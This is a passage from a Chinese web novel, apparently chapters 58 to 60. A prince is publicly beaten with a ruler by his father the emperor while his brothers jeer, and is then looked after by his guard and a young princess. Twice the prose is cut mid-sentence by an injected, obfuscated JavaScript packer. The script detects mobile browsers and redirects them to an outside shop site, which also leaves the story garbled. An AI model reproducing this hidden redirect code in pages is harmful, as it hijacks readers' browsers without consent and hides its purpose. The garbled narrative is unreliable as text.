步皇后见状，起身离座，缓步向她走来。苏萦如同抓住救命稻草，转身便扑过去死死攥住皇后的裙裾，仰起泪痕斑驳的小脸：“母后！母后！都是我的错！不关哥哥的事！您给哥哥求求情啊母后！” 一见帝后二人都如铁打铜铸一般巍然不动，苏萦求告无门，绝望之下，又回身去拉扯萧征的手臂：“哥哥，你跟陛下说实话，你求饶啊，你求饶啊！” 可怜苏萦在地上爬来爬去，像个茫然无助的小陀螺满屋子乱转，房中众人，却各怀心思，皆无动于衷。 “苏萦！”步皇后没了耐性，面色一冷，用力将她拉起，声音冰冷严厉：“军法如山，岂同儿戏？” 说罢，不等她再辩驳，步皇后便仪态端庄地颔首向堂上福了福身：“陛下今日既行军法惩戒部下，那臣妾，就带着女眷先行回避了。” 58.“老三，要不然，你替朕打？” 暖阁沉重的门扉在身后合拢，将苏萦和萧庆满含担忧的目光隔绝在门外。这满房中，只剩一群忌恨他，想要看他笑话的人了。 没关系。他心中自嘲地冷笑。 众人围困，孤立无援的处境，我还经历过更糟的。 几个兄长暗中觑着他的表情，渴望从那张平静无波的脸上寻出一个“怕”字来。若舞台上戏子的感情不够充沛，台下观众是总觉得看不过瘾的。 红木刑凳被抬到他面前，安置在暖阁中央那片空旷处。他极力跪得笔直，目光凝于前方一点，逼着自己不向它看。 一名宫人趋步上前，手中托盘内，赫然是一柄厚重光滑的紫檀木戒尺。萧征见了，心下微诧——军中的一百水火棍当然能要人性命，而与之相比，这不过尺余的戒尺，威力却只像挠痒痒。就算挨上二百板，三百板，怕也只能打落一层油皮，受些皮肉之苦罢了。今日若不演足一场苦肉计，难解兄长们心头之恨，将来，陛下就更难管他们了。可这戒尺……真能演得像吗？ 皇帝的声音自御座沉沉传来：“老十七，你可知，朕今日为何不用廷杖，而用此戒尺？” 他略作停顿，自答道：“因你年未弱冠，尚可视为孩童失教。廷杖是国法，戒尺是家法。朕今日，是以父责子。” 话音落下，那句不容置疑的命令随即响起：“给他去衣。” “陛——”一声惊呼梗在喉头。他没得选。 今日既不能真把他打出个好歹来，又要给兄长们一个交代，自然就要臊掉他一层面皮。 两名宫人上前，沉默地为他解开常服的外袍，引他伏上冰凉的刑凳。当他俯身时，一人上前，欲握住他的手腕固定。 “……不必！” 他猛地抬起赤红的双目，屈辱地望向眼前的宫人，声调简直像在哀求：“……我不会躲。” 话音未落，腰间汗巾已被灵巧地抽开。月白色的绸质中衣，如同一片失去依凭的薄云，被向下轻轻一扽—— 微凉的空气骤然贴上皮肤，激起一阵细密的战栗。几乎同时，身侧传来几声极力压抑，却依然清晰可闻的嗤笑。 他僵硬地不肯转回头，可兄长们脸上那幸灾乐祸的表情仿佛都在他眼前晃着。 他真想一头撞死，他真想一头撞死！ 他活了四十几年，受过无数比这惨烈得多的刑罚，没受过这种凌辱！ 愤怒与羞耻让他浑身无法抑制地轻颤，而这在兄长们眼中，却成了绝佳的戏码。 “瞧把小十七给吓的！抖成什么样儿了都！小屁股夹的邦紧！” 八皇子萧祚的声音带着毫不掩饰的戏谑：“十七弟，待会儿可别尿裤子啊？哥哥们都看着呢！” “八哥这话说的，” 十一皇子萧捷接口，语气“关切”得令人作呕：“十七弟这是知道错了，心里悔恨。能得父皇训诫，那是天大的恩典，疼也得忍着，怕也得受着，是吧十七弟？” 这些话语如同细针，扎在他早已鲜血淋漓的羞耻心上。他死死咬住牙关，直至口中弥漫开淡淡的铁锈味。 一名内侍战战兢兢地手持戒尺立于萧征身后，刚欲抬手，却见皇帝已自御座起身，沉步走下。 “退下。”皇帝的声音不高，却带着不容置喙的威压：“朕的儿子，朕今日亲自管教。” 暖阁内霎时静得落针可闻，所有嬉笑私语戛然而止。皇帝接过那柄厚重的紫檀戒尺，手腕微沉，试了试分量。下一刻，戒尺划破凝滞的空气，发出尖锐的“咻”声，让在场所有人头皮一紧，呼吸一窒—— “啪！！！” 第一记惩戒，裹挟着帝王之怒与破风之力，结结实实砸落。那声音简直让人不敢相信是木板碰撞皮肉，倒像一道惊雷在狭小暖阁内猝然炸开，震得人耳膜嗡嗡作响。 “呃——！” 萧征猝不及防，喉间挤出一声短促的闷哼，整个肩背连同伏着的身躯猛地向上弹起，又重重落回刑凳。被击打的部位先是一麻，随即爆开一团烈火灼烧般的剧痛，在皮下肌理迅速蔓延。额角与脊背，瞬间沁出一层细密的冷汗。 几位兄长交换着眼神，有人嘴角噙着快意的笑，有人则故作不忍地移开目光，眼底却藏着同样的兴奋。这“杀威棒”的效果，立竿见影。 皇帝并未接连打下，而是持尺而立，沉声问道：“自己说，你错在何处？” 萧征深吸一口气，压下喉咙里的颤音，高声回答： “私自调兵，无视国法军纪，理当严惩！” 戒尺应声而落，“啪！” 疼痛在方才的震麻处叠加。 “身为皇子，保管不力，遗失私印，该打！” “啪！” 又是一记，落在相近的位置，痛感钻心。 “虑事不周，让北漠郡主身陷险境，有损邦交，该打！” “啪！” 那一片肌肤已是灼红烧透，肿胀不堪。 “行事莽撞，不虑后果，连累无辜——” 他脑中忽地闪过苏萦的一双泪眼。 她一定早随母后回去了吧？多亏……多亏她走得早，没让她看到他这副狼狈样。 “啪！” 一杖子把他打回现实中，他抱着刑凳的手更紧了紧，脑中急切搜罗着自己的错处。 双耳让自己的认罪声和极力隐忍的抽气声占满了，自然无暇顾及门外隐约传来的啜泣与焦急的踱步声。 苏萦听得房中落板声与认罪声交错，心如刀绞，泣不成声，跪在地上，抱紧步皇后的腿颤声哀求：“娘娘，我求您了……您进去给哥哥求求情啊！” 步皇后面色沉静如水，用力将她的手拂开，冷声道：“不准哭！本宫怎么养出你这么个没出息的丫头。他方才如何对你恶言恶语的，这一会儿就全忘了？走，随本宫回去！本宫还有账要同你算。平日里是太纵着你了，才惯得你不知天高地厚，什么话都敢说，什么事都敢揽！” 暖阁内，皇帝听完萧征的自陈，冷哼一声。 “说完了？” 他手腕再度扬起，戒尺挟着风声，重重落下—— “啪！” “这一下，打你恃宠而骄，不知敬畏！皇子犯法，更应与庶民同罪！” “啪！” “这一下，打你思虑不周，授人以柄！将自身置于险地，便是最大的不孝！” 戒尺声规律地响着，混合着皇帝字字沉重的训诫，也交织着兄长们越来越不加掩饰的“私语”。 “唉，十七弟也是，立功心切嘛。” 萧捷假意叹息，却掩不住笑意：“就是这法子……莽撞了些，合该长长记性。” “听说十七弟回京路上，还顺手救了人？真是仁善。” 萧祚再次开口，话锋却毒：“只盼这仁善之心，日后多用对地方，别再‘急中生智’，触动国法才好！” 每一句“关怀”，每一次低笑，都如同细密的牛毛细针，扎在萧征早已鲜血淋漓的自尊心上。他的拳头在衣袖下攥得死紧，指甲深深陷入掌心，试图用另一种疼痛来转移注意力，好让他维持着最后一丝体面的沉默。 后悔吗？ 若当时重返敌营，戴罪立功，便不用在庆功宴上向父皇请罪。 若非彻查父皇病因，便不会出宫寻药引，不会调兵锦糖镇，就不会授人以柄…… 若他当初选择另一条路，是否就不会陷入如此境地？每一步退让，每一次权衡，最终却引他跪伏于此，任人宰割…… 啪嗒，啪嗒。 眼泪涌出眼眶，接二连三砸在地面上。 他震惊于这具年轻的身体如此不耐痛。 就这么怕吗？他懊丧地在心中质问自己：就这么委屈吗？ 可就在这自我厌弃的恍惚间，透过朦胧的泪光，他瞥见了父皇挥动戒尺的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17083527|190662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手臂。那手臂稳而有力，衣袖挥动间带起细微的风声，落下时没有半分虚浮。一下，又一下。 父皇……有力气了。 若他没做这一切，今日面对的，便是父皇冷冰冰的棺椁了。 这个念头，如同黑暗中劈下的一道强光，骤然照亮了他心中所有阴郁的角落。所有的奔波，冒险，殚精竭虑，不就是为了这一刻吗？为了让这条手臂重新有力，让这具身体摆脱沉疴。 值了，这便都值了。 皇帝察觉了他的颤抖与哽咽，戒尺稍停，沉声道：“小十七，回宫这些时日，莫不是将身子养娇贵了？连几下戒尺也捱不住？” 他万没料到父皇此时发问，只好忍着羞与痛，将脸更深地埋入臂弯，红着耳根嗫嚅出心里话：“父皇龙体复原，打得儿子好痛。儿子心里高兴，总算，总算没有白忙活这一场……” 皇帝闻言，动作几不可察地一顿，随即却是冷哼一声，故作疲累地喘了口气，敲了敲手臂： “这人不服老不行，才打了这几下手就酸了。” 他目光扫向一旁肃立的萧谅：“老三，要不然，你替朕打？” 若他真还是十八岁的少年……他这时候该借坡下驴，嚷“三哥救我”了。可，可这如今让他怎么喊的出口！ 萧谅闻言微微躬身，看了看伏在刑凳上抽着冷子调整呼吸的萧征，又觑了一眼父皇的神色，恭谨而温和地笑道：“父皇，十七弟才回来，长途跋涉，也吃了不少苦，今日惩戒已明其过，不如饶了他这后半数，以示天恩浩荡？” 皇帝沉默片刻，仿佛心中反复权衡，最终，将戒尺丢回托盘，发出“咚”的一声闷响。 “既有你三哥为你求情，那今日就且先放你一马。功过相抵，禁足七日，静思己过。” 刑罚已毕，更难的却是当下。他伏在凳上，中衣褪至腿弯，起身则难免全然滑脱；若自己反手提上，动作又实在太过羞耻。正觉骑虎难下，萧祚嘲弄的声音又飘了过来： “十七弟啊，舒服吗？我瞧瞧打成什么样儿？嗨哟，这点儿小伤，父皇疼你，还是留手了。我本以为，今日得叫三哥把他那拐杖送给你呢！” 萧祚走上前，仿佛真的为萧谅不平，阴恻恻地恐吓萧征：“三哥真是好气度。刚才父皇那戒尺要是交到我手里——我让你往后这一个月，见着马鞍子都打哆嗦！” “老八！”萧谅走过来，用肩膀撞开萧祚，沉声低斥他：“说够了没有！” 他缓步走近萧征身后，用拐杖支撑着俯下身，自然而体贴地将他滑落的中衣拉起，仔细掩好，又替他系上汗巾。动作间，他压低了声音，带着兄长式的关怀与提醒：“十七，别赖在这儿耍小孩子脾气了。快起来，去向父皇谢恩。” 好一个如父如兄，宽容大度的三哥！仿佛事端并非由他而起似的！萧征心中一片清明，只能自嘲地苦笑。他强忍着身后一片火辣辣的灼热与起身时肌肉牵拉的尖锐刺痛，每一动都让伤处叫嚣。冷汗早已浸透单薄的中衣，湿冷地贴在皮肤上。他颤抖着撑起身，踉跄下地，重新跪伏，以额触地：“儿臣……谢父皇教诲。” 皇帝目光扫过众人，最终定调，语气不容置疑：“今日家法已毕，此事到此为止。若再有提及，或外传一字者，朕便视同构陷亲王，离间骨肉，严惩不贷。都散了吧。” 众人依次退出。萧谅走在最后，见萧征步履艰难，身形摇晃，伸出手稳稳扶住他一条胳膊，另一手用自己宽大的衣袖细细替他拭去额角颈边淋漓的冷汗，语气慈祥的无懈可击：“你急什么？外头冷，缓了汗再出去，别染了风寒。” 萧征身体几不可察地一僵，垂下眼帘，低声道：“……谢三哥。” 萧谅轻拍他手臂，笑容温和依旧，话语轻飘飘地落下：“自家兄弟，何必言谢？往后自己警醒点儿，好少吃些苦头。” 59.“……我不娶她。” 强忍着身后火灼般的剧痛与迈步时肌肉牵拉的尖锐不适，萧征一步一步，极其缓慢地挪出这间令人窒息的暖阁。好不容易捱到门前，心里正对着那高耸的门槛发怵，竟在门前一片匆匆离去的背影中一眼瞥见袁鸣的脸。 “袁鸣？你怎么在这儿？没回家去？” 袁鸣见廊下贵人已散尽，这才敢急步上前，迈进门槛，一把接过内侍手中捧着的紫貂大氅，仔细为萧征披上，系紧领口：“家里都安排妥当了。属下去温郎中那儿交了药引，就一直在南三所候着您呢。结果明明听说您回宫了，左等右等还不来，属下四处打听，这才知道您被叫到这边儿来了。赶到这儿一看，这大门紧关着，郡主在门口哭的跟泪人儿似的——殿下，这好端端的，怎么动起家法来了？” 袁鸣眼珠一转，自作聪明，凑近萧征耳边小声问：“童子尿的事儿让陛下知道了？您找的谁家孩子啊……” 萧征听得哭笑不得，可当下疼得眼前发黑，几乎站立不住，将半边重量倚在门框上，闭眼缓了缓才艰难道：“先回去再说……你方才说，见着郡主了？她如何？” “郡主被皇后娘娘领走了，”袁鸣忙过来搀他：“她才惦记您呢，皇后娘娘亲自来拉她，她还一步三回头的。” 冷风一吹，萧征不由得打了个寒战。明明回来的时候身上穿的也是这些，在公主府暖和非常，此刻却只觉得彻骨的冷。他坐不了暖轿，又不肯用春凳抬回去，最后只得由袁鸣与萧庆一左一右搀扶着，每一步都像走在刀尖上，一步一挪。 “殿下，属下背您。不然这得走到什么时候才能回去啊。”袁鸣见他脸色苍白，虚汗涔涔，不由分说便蹲下身子。 “袁鸣，你的腿……”萧征蹙眉推拒。 “早好了！回来见着娘子，什么伤都好了！” 袁鸣咧嘴一笑，扭头对萧庆道：“十九爷，劳烦您搭把手，扶殿下稳着些上来。慢点儿，慢点儿……” 被搀扶着伏上袁鸣宽厚的背脊时，腿弯的蜷曲无可避免地牵动伤处，萧征猛地倒抽一口冷气：“嘶——哎哟！” 袁鸣忙提醒：“殿下，您腿放松，千万别吃劲儿！全交给属下，属下稳当着呢。”他背着萧征稳稳起身，对萧庆道，“十九爷，您先坐轿子回去，属下背着殿下随后就到。” “哎呀，这几步路我能走！你要是累了就换我。”萧庆豪气干云地拍拍胸脯。 萧征和袁鸣当然知道他背不动。萧庆还没有窜个子，比萧征矮上大半个头，脸上一团孩气，少年心性，懵懵懂懂，一向叫父皇母后惯着护着，人情世故一概不懂，此刻的义气倒显得珍贵又令人心酸。 伏在袁鸣背上，剧烈的疼痛与极度的羞耻过后，深深的疲惫如潮水般袭来，眼皮沉重得直往下坠。袁鸣察觉他气息渐沉，不放心地轻掂一下，低声提醒：“殿下，可千万别睡啊，当心着凉。说说话，提提神。” 萧征勉强将额角抵在袁鸣肩侧，几不可闻地“嗯”了一声。 袁鸣怕他真睡过去，寻着话头：“方才里头……不会把您嘴堵起来了吧？怎么连点儿声都不出啊？” 萧征脸颊微微一热，将脸埋得更深些，闷声道：“……不过挨几下戒尺，有什么好喊叫的。” 皇宫另一边，皇帝与众年长皇子缓步行于雪径，皇帝忽发感慨：“寄远的样貌，到底不算顶顶出众。当年老五，哎哟，漂亮的像小姑娘似的！我这二十个公主里头，找不出一个像他那么漂亮的！可惜啊，再往后就生不出那么俊的了。那老八长得……嗨呀……” 远远跟在队尾的八皇子萧祚，闻言几乎将牙根咬碎。在他之前，宫里已经七年没有皇子降生。他的母亲是当年老皇帝后宫里最美貌的嫔妃，他的同母兄长是最漂亮的儿子，一个“祚”字足见对他的期许。 只可惜呢？ “他怎么长得像只耗子！”——这便是他呱呱坠地时，亲生父亲瞥见他的第一句评价。 萧祚其人，天生一副阴鸷相，三角眼，鹰钩鼻，窄条脸，尖下巴，看人时仿佛总是恨恨的，带着三分狠戾。其实，他的相貌在众兄弟中，最肖似皇帝。就因为皇帝的样貌生的不好，所以更容易像父亲的女儿们便没有几个好看的。可这些话，谁敢说？萧征已经够运气，他偏偏生得既像皇帝，又清秀俊朗。 男人总是自恋的，尤其是做了许多年皇帝，又自诩是位明君的男人。因此，他便总是说：萧征最像我当年！其实根本没这回事。 萧祚恨恨地埋头疾走，不慎撞在前方萧谅的背上，慌忙收敛神色，诚惶诚恐，低声道：“三哥，对不住……” 萧谅并未回头，只是望着雪地，似笑非笑地轻声自语：“华容郡主……那小女子，倒是有几分意思。” 眼中神色，复杂难辨。 这边厢，袁鸣总算背着萧征回到住处，小心翼翼扶着他缓缓伏在榻上。萧庆凑到床边，满脸忧色：“哥，还疼不疼啊？” 萧征疲惫地合着眼，敷衍道：“不打了自然就不疼了。不碍事，你回去休息吧。” 萧庆“哦”了一声，好像真就放了心，松松爽爽地往外走，径直回自己房里去了。 待萧庆离开，萧征才低叹一声，向袁鸣感慨道：“这小子……才是真好命。长这么大，一下实实在在的打都没挨过。” 袁鸣正拧了热手巾为他擦脸，闻言亦苦笑：“这不是……总有殿下您在前头顶着么。” 不多时，皇后身边的掌事女官翠雀带着两名小宫女来了，撂上一摞书卷与笔墨。 “殿下，这《大朔律·擅兴》和《孙子兵法》是娘娘托奴婢送来的。需各抄上五十遍，交于她检查。娘娘托奴婢传话：‘抄律法，是让你记住，身为皇子，你每一分权力都系于国法之上。抄兵法，是让你想清楚，调兵是最笨的解法。陛下让你去寻药，是考你‘谋’，不是考你‘勇’。下次遇事，多想想《孙子兵法》，少想你的亲王印信。’” 翠雀语气恭谨，却公事公办：“这些功课，还请殿下静养时尽快完成。” 萧征抬眼，目光越过翠雀，除了书案上厚厚一叠书卷纸张再无一物，不禁有些黯然失落：“姑姑，母后没有来吗？” 翠雀微微一笑，敛衽道：“娘娘说，待殿下伤愈，亲自去请安不迟。娘娘还让奴婢转告，殿下该打，把她好好儿的郡主都带野了。待您伤好，她那儿还有管教。即日起，禁你们二人的足，无陛下或娘娘手谕，不准再出宫去。明日，您需陪郡主往宫内的宝华殿，将你们二人的功课完成，不抄完，不准回来歇息。” 翠雀前脚刚走，后脚赏明宫的总管太监雀头便抱着个沉甸甸的剔红托盘，与她在院中擦肩。翠雀瞥一眼那托盘上盖得严实的砂锅并点心盒子，了然一笑：“你家主子这是心疼了？这么沉不住气。娘娘要是知道了，定嫌自己罚的还不够重。” 雀头忙不迭躬身赔笑，压低声音：“姑姑明鉴！奴才今日从没来过南三所，更没见过姑姑，还望姑姑在娘娘面前帮郡主多多遮掩，多多遮掩！” 雀头趋步至门前，扬声自报家门：“殿下，奴才是赏明宫的雀头。今儿大寒，小厨房煨多了碗蹄花汤，郡主命奴才给殿下送来暖暖身子。” 屋内一时没有回音。雀头眼珠一转，拔高了调门：“郡主说，吃什么补什么——” 内间，袁鸣一个没忍住，“噗嗤”笑出声，转头看向将脸埋进枕头的萧征，戏谑道：“殿下，接不接啊？” 雀头耳朵尖，立刻伶俐地接上，语气放软，带了恳求：“奴才不敢欺瞒殿下，其实……其实这是郡主亲自煲的，求殿下好歹尝一口，也不枉郡主一番心意！” 她炖肉一向很好吃的。 记忆中的香气似乎飘至鼻端，萧征喉结不自觉滚动了一下，闷声道：“袁鸣，拿进来吧。” 袁鸣开门，把雀头让进来，正要接过托盘时，雀头又指着边上一个精巧的方口瓷罐介绍道：“这是樱桃煎。郡主说，让殿下吃点儿甜的，心里头就不苦了。” “怎么还有酒？”袁鸣瞥见托盘上另有一只酒壶，不解其意，为难地推辞：“殿下身上有伤呢，酒就不喝了，你拿回去吧。” 雀头四下环顾，压低了嗓音：“袁大哥，这里头不是酒，是上好的化瘀药油。郡主说，拿它敷在伤处，把那瘀血揉开，明日便能好受许多，陪她去宝华殿抄经也就不那么难捱了。” 萧征听罢，心中暖流与苦涩交织，最终化作一声无奈苦笑：“好，替我谢郡主好意。也替我转告她，我如今起身都困难，她若真体恤我，不妨趁今夜多抄几遍，明日也好早些放我回来歇着吧。” 雀头喏喏连声：“奴才一定把话带到。殿下保重身体，奴才告退了。” 雀头离去后，袁鸣回到床边，手上拿着那瓶药油：“殿下，郡主送来的，肯定是好东西。属下帮您敷上，活血化瘀才好得快。” 萧征耳根微热，侧身躲闪：“……放着，我自己来吧。” “您自己够不着！” 袁鸣哭笑不得：“这么多年不都是这么过来的吗，您有什么好害羞的。” 说着，他便小心掀开萧征腰间的薄被。 “殿下，来了啊。”袁鸣倒出些药油在掌心搓热，小心地覆在那片青紫肿胀的皮肤上。药油触及敏感的伤处，很有些刺痛，萧征身子骤然紧绷，倒抽了一口凉气，随即才在袁鸣沉稳的揉按下缓缓放松。袁鸣一边控制着力道推开瘀滞，一边絮叨着分散他注意： “诶殿下，您说咱们得有多少年没挨过打了？” 少说也有二十来年了。萧征心中苦涩地笑笑。 前世最后的年月里，他为帝师，教养皇室子弟，只有他施刑于人，何曾再受过这个。 却听袁鸣自顾自算道：“要我说……怎么也得——两年了吧？这两年咱们在外头打仗，陛下的手伸不了那么长！嘿嘿！” 才两年？他——他还挺顽劣啊。萧征在心中扶额无奈：原来小时候混蛋，挨过这么多打，几十年过去全忘了。 “而且您看，这两年骑马磨出的茧子也替您挡了不少，不然还不疼得您嗷嗷叫——”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17087077|190662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “行了行了！”萧征别扭羞窘得简直趴不住，反手胡乱拉好衣衫，遮掩道：“你快回去吧，我要休息了。” “殿下，属下这几日就歇在外间。” 袁鸣正色道：“您有伤不便，尽管使唤，属下随叫随到。家里新雇了人帮手，我娘子如今胎象稳了，也不像前些日子那么难受了，属下也不用成天提心吊胆的惦记着了。” “雇人了？” 萧征记得他前些时日还捉襟见肘。 “这不是……郡主赏了属下一年的俸银。” 袁鸣摸了摸鼻子，有点不好意思地说。 “一年的俸银？！不是三倍吗？” 萧征诧异。 “嘿嘿，那个……您不知道的时候，属下与郡主，又偷偷地达成过一些……小小的‘约定’。” 袁鸣眼神飘忽，挠着头憨笑。 蹄花汤被萧征喝了个干净，袁鸣拿过空碗，又一指桌上那方口瓷罐，询问道：“殿下，雀头才说这里头是樱桃煎，属下拿些给您吃？” “那蜜饯太甜，我不喜欢，你吃吧，或者拿些给萧庆吃去。这东西不禁放，明日就不新鲜了。”萧征随口答。他已铺开纸张，准备趁今夜抢出几遍罚抄来。 “哦，好。”袁鸣揭开罐盖，却见里面只最上头放着浅浅一小碟蜜饯，底下竟是用丝帕妥帖包好的一方坚冰。他先是一愣，旋即恍然大悟，笑嘻嘻取出冰块用软布裹了，轻手轻脚绕回床边，敷在萧征伤肿之处。 “郡主这‘樱桃煎’啊，是特地给您的，旁的人都不配吃！” 突如其来的冰凉刺激让萧征微微一颤，随即那火辣辣的灼痛果然被镇下去不少，换来一阵舒缓的麻木。 “殿下，郡主疼您呢。” 袁鸣兀自喜滋滋地：“郡主大了，会关心人了，您瞧她心思多细。属下看着都替您高兴。您打算……什么时候娶她啊？” 萧征沉默良久，久到袁鸣以为他刚才没听着自己的问话，刚想再问一遍，这才听到一声极低，极沉的回答： “……我不娶她。” “您不——”袁鸣脸上本还堆着贱兮兮的笑，闻言吓得一激灵，调门也一下子拔高了：“您怎么能不娶她呢！您想娶谁啊！” 袁鸣气得简直像自家妹子遭登徒子轻薄，怒从心头起，恶向胆边生，照着萧征中衣下的伤肿处就是抡圆了的一巴掌抽下去。 “呃啊啊啊啊啊！”萧征挨了这毫无防备的一下，疼得差点捂着屁股跳起来，两眼泪花直冒：“袁鸣你发什么疯啊你！” “你，你不娶她早跟她说清楚啊！不娶她你拿眼皮贴人家脑门儿！”袁鸣真是越说越气：“不娶她你好意思要人家的药油，冰块，猪蹄汤！你咽得下去吗你！” “袁鸣你冷静点儿——”萧征疼得抽冷子，砰砰地直捶床，想自己从床上捞过冰块来缓缓，被袁鸣一把抓起冰块来抢到怀里，直着脖子嚷：“我没法冷静！” “袁鸣！你听我说——” “我才不听歪理！你倒是说个明白，凭什么不娶？！” “我给不了她幸福！”萧征终于无奈又懊恼地低吼出声，旋即又黯然下去：“她嫁给我没过——过不了一天好日子。” “殿下，这算什么大不了的理由？给不了幸福那您就……拼了命的去给啊！”袁鸣倒叫他这句话瞬间安抚过来，迅速转换角色为经验颇丰的婚姻幸福人士，比比划划地开始讲课：“您不会给？我会啊！我娘子说跟了我就挺幸福的。这让婚姻充满幸福感啊，一定要学会换位思考。吵架生气的时候呢，不管错在谁身上，咱们做男人的一定得知道先道歉……” 萧征没有再打断他，也没有反驳。他只是静静地侧卧着，身后冰块的凉意与药油微微的温热交织，耳边是袁鸣絮絮的恳切话语。窗外夜色渐浓，烛火在纱罩里轻轻跳跃，将他长长的睫毛影子投在苍白的脸颊上。那紧蹙的眉宇，似乎在袁鸣一句句平淡却实在的话语里，不易察觉地松开了些许。 袁鸣的声音渐渐低了下去，最终化作一声满怀期望的叹息：“……殿下，郡主是这世上顶好的姑娘，您也是顶好的人。别自己先把路走绝了。试试看，学着对她好，也让她对您好，这日子……万一就和和美美地过下去了呢？不试试怎么知道？” 屋内重归寂静，只有烛花偶尔爆开的细微声响。萧征依旧没有回应，仿佛已然入睡。袁鸣轻叹一口气，默默退了出去。 廊前又飘起了雪花。巡夜的内侍轻敲云板，一个接一个地复诵：“丑时已到——平安无事——” 南三所中，一扇窗内的烛火，在这雪夜中静静亮了许久。 书案上，已悄然摞起了数张笔力遒劲的字纸。早已烂熟于心的兵法，如战士们喷涌的热血，从心头，汩汩流淌到笔尖。 上兵伐谋，其次伐交，其次伐兵，其下攻城。 上兵伐谋…… 所谋何人？所谋何事？ 谋而后动，与虎谋皮，谋权篡位—— ——哈！到头来，一场空！ 他自暴自弃般把墨笔掷在地上，沉沉睡去。 60.“我这顿打就算白挨了！” 天光透过南三所的窗棂，在房中洒下一片柔和的鱼肚白。昨夜研墨的砚台边缘已干，写满兵法的宣纸堆叠在案头，床前最后一截蜡烛凝着长长的烛泪，兀自挺立。 萧征从臂弯中抬起头，额角还压着一道浅浅的衣褶印。他怔了一瞬，猛地发觉外头天已大亮，不禁惊起：“几更了？” “七更都过啦！” 门外传来少女清亮的嗓音，拖着一点不满的娇嗔。 他循声望去，一道婷婷的背影正立在珠帘之外，晨光为她勾出一道纤细朦胧的金边。 “啃啃！”门外的姑娘不自在地清了清嗓子，声音透着一丝不易察觉的紧绷：“你……穿好衣服了吗？” “没穿好，你可不准进来。”他玩心忽起，故意作势要起身，果然见她吓得在那方寸之地辗转，捂着眼睛要躲：“诶，别……” “来干嘛的？”他明知故问，喉咙带着刚醒的微哑。 “……屁股还疼吗？”苏萦蚊子哼哼似的问话，自己先羞红了脸。 萧征索性侧身躺了回去，单手支着头，眯戚着眼盯住她局促的背影，好整以暇道：“还好意思说，是谁害的我？” “你还不起来啊？”她不肯答，脖子梗了梗：“我们今日要去佛堂抄经的。母后可说了，要你陪着我。” “不是陪着你，是看着你！”他无奈地挖她一眼：“你先等等，我起床换衣服。” 待他更衣洗漱完毕，从屏风后转出，苏萦已端端正正地坐在外间等候。 只一眼望过去，他便怔了怔。 昨日还是灰头土脸，冻得鼻尖发红的小可怜，今日却像颗被晨露洗净，骤然焕彩的明珠。她今日梳着精致的随云髻，如堆鸦，似流云，鬓边簪一支简洁的珍珠步摇，流光微动。身上是一袭海棠红织锦袄裙，领口与袖缘绣着同色缠枝纹，外罩月白狐毛斗篷，清艳灼灼，又不失娇贵。这般明丽的颜色与精巧的妆饰，将她本就出色的容貌衬托得愈发摄人。她宫里那个叫苕荣的姑娘最擅梳妆，此番离宫没带在身边，他们又常要隐藏身份，穿着打扮多朴素寒酸，如今猛一见她这般盛装，直教他眼前一亮，心口像是被那抹海棠红不轻不重地烫了一下。 不过—— 他按下那瞬间的悸动，走上前去，目光在她脸上刻意转了转，佯装随意地打趣她：“眼睛肿得跟桃儿似的，胆子那么小。昨晚……哭了多久啊？” “哭到雀头跑回来报信儿，说暖阁那边打完了。”苏萦纤长的睫毛立刻垂了下去，颊边飞起两朵红云，吞吞吐吐：“哄我说……没我想的那么严重，还能扶着走呢。我就……我就没哭了。” 她自知这话说得没出息，说完便低下头，手指□□着腰间的香囊。 “傻丫头。” 他俯身过来，指节在她小巧的鼻梁上轻轻一刮：“你当陛下真要打死我？” “……万一呢。” “小杖则受，大杖则走。我可没那么傻。” 他今天看她这漂亮受气包样格外好欺负，心底那点捉弄的心思更盛，竟忍不住抬手在她细腻的脸颊上捏了一把，笑着恨铁不成钢道：“不像你！” 苏萦吃痛，不满地撇了撇嘴，见他走路姿势还有些别扭，又期期艾艾地开口：“要是我爹……不事先传信给宫里，让咱们两个悄悄回来就好了。” “……嘉裕侯已经帮了大忙了。”他转过来朝她苦笑：“若还有宫外晏京府衙那四十大板，昨日的回锅肉我可咽不下。” 宝华殿是宫里嫔妃祈福诵经之地，侧殿是皇后经常让人罚抄罚跪的地方。这些年来，苏萦也是宝华殿的常客了，轻车熟路，殿内早摆好两张书案，要抄的经禅房里都有，便由雀头和朱樱去搬出来。 殿内檀香袅袅，静得书页翻动声都格外清晰。苏萦对着经文，却有些心不在焉，写不了几个字便走神。 “哥哥，”她搁下笔，托着腮：“我想喝茶。” 萧征正忍着身后的不适，跪坐在她旁边的蒲团上，闻言抬头看了一眼放得略远的茶壶，还是艰难地挪过去倒了茶给她。 茶刚奉上，没写两行，她又扬起小脸：“我要吃杏脯，你让人去给我买。要城东李记铺子的，别家的都不好。” “到底是谁罚抄？”萧征有些无奈：“监工还得兼带伺候人？” “那我不管，”苏萦理直气壮地放下笔，耍起赖来：“没人伺候呢，我就写得慢。写不完，咱们俩谁都别想走。” 萧征拿她没法，下人们又都在殿外候着，只好忍着疼起身，招呼雀头进来让他去买。 雀头才走出殿门，她又“哎呀”一声：“让他再带一包王婆家的砂糖绿豆糕——” “……就不能一次想全了吗！”萧征才走回来将将跪下一条腿，气得咬牙切齿。 苏萦委屈地噘起小嘴儿扭了扭身子：“我刚想到的嘛！我真的想吃！好哥哥～” 